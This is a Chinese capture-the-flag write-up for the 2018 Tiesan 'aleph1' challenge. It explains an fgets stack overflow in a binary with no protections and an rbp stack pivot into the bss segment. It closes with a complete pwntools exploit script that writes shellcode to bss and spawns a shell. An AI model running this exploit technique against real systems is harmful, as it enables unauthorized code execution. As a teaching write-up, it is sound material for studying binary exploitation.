返回介绍

2018 铁三东北赛区之 aleph1 rbp 栈迁移

发布于 2022-11-26 19:43:19 字数 5582 浏览 0 评论 0 收藏 0

0x00 漏洞分析

检查保护

root@kali:~# checksec aleph1
[*] '/root/aleph1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

没有开启任何保护,拖进IDA

伪代码如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char yolo[1024];  #[rsp+0h] [rbp-400h]

  fgets(yolo, 1337, _bss_start);
  return 0;
}

汇编代码如下

0x4005ca <main>:        push   rbp
0x4005cb <main+1>:    mov    rbp,rsp
0x4005ce <main+4>:    sub    rsp,0x400
0x4005d5 <main+11>:    mov    rdx,QWORD PTR [rip+0x200a54] #0x601030<stdin@@GLIBC_2.2.5>
0x4005dc <main+18>:    lea    rax,[rbp-0x400]
0x4005e3 <main+25>:    mov    esi,0x539
0x4005e8 <main+30>:    mov    rdi,rax
0x4005eb <main+33>:    call   0x4004d0 <fgets@plt>
0x4005f0 <main+38>:    mov    eax,0x0
0x4005f5 <main+43>:    leave  
0x4005f6 <main+44>:    ret

函数原型

char *fgets(char *buf, int bufsize, FILE *stream);

从文件结构体指针stream中读取数据,每次读取一行。读取的数据保存在buf指向的字符数组中,每次最多读取bufsize-1个字符(第bufsize个字符赋'\0').

明显fgets()函数存在溢出,但是我在尝试了用__libc_csu_init函数的通用ROP,但仔细一想,第三个参数用的是标准输入,而这个以指针的方式存在于bss段中。我们没办法定位stdin的实际地址,传入rdx。如果通过传统的方式,很难完成第三个参数的传递,就没法完成第二次输入。

后发现rbp可利用,所以采用rbp迁移的方法溢出。

0x01 漏洞利用

1.测得偏移为1032

gdb-peda$ pattern offset DAn;An)AnEAnaAn0AnFA
found at offset: 1032

2.覆盖rbp为bss+0x400,覆盖ret返回到0x4005d5 <main+11>: mov rdx,QWORD PTR [rip+0x200a54]

因为push rbprbp压入栈,所以覆盖栈中的rbp为(bss+0x400),为什么要这样覆盖?第一个buf参数为rbp-0x400,第二次执行fgets时要向bss段首写入shellcode,所以要将bss段地址加上0x400

3.二次执行fgets时,将shellcode写入了bss段首,并继续写入其他数据填满0x400+p64(任意)个字节后填一个bss段首地址.执行到leave指令时,rbp=bss+0x400,leave可简化为mov rsp,rbp ; pop rbp, mov rsp,rbp将栈迁移到bss+400,pop一个任意值到rbp,ret到bss段首,执行shellcode,拿下shell

0x02 完整exp

from pwn import*
import pwnlib
context(os='linux', arch='amd64', log_level='debug')
e=ELF("./aleph1")
fgets_plt=e.plt['fgets']
bss_addr = e.bss()
shellcode=asm(shellcraft.sh())
shellcode+='A'*984
shellcode+=p64(bss_addr)
payload='a'*1024+p64(bss_addr+0x400)+p64(0x4005D5)
s=process("./aleph1")
s.sendline(payload)
#pwnlib.gdb.attach(s)
s.sendline(shellcode)
s.interactive()

0x03 运行结果

pic1

文件下载

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文